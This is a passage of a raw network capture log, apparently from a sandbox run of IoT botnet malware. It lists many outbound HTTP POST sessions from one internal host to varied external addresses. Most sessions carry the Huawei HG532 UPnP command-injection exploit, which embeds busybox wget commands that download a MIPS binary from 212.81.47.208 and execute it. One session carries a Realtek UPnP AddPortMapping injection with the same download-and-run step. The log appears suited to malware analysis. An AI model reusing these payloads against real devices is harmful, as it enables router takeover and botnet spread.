6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.14	49034	197.140.98.60	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:27.225516081 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.14	59506	197.38.238.24	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:27.232259035 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.14	59856	156.225.172.78	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:27.254029036 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.14	50752	197.94.90.110	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:27.261480093 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.14	54362	156.128.125.118	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:27.271470070 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.14	60342	41.97.6.254	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:27.278634071 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.14	59160	197.196.137.96	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:27.889563084 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.14	45444	197.143.6.121	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:27.890300989 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.14	37104	197.79.168.188	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:27.919229031 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.14	38580	156.195.70.58	52869

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:27.919800043 CET	882	OUT	POST /picsdesc.xml HTTP/1.1 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Hello-World Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 2f 25 32 32 25 33 45 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 30 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope//" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding//%22%3E<s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47450</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>cd /var/; wget http://212.81.47.208/mips; chmod +x mips; ./mips</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.14	34526	41.69.105.118	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:27.920274019 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 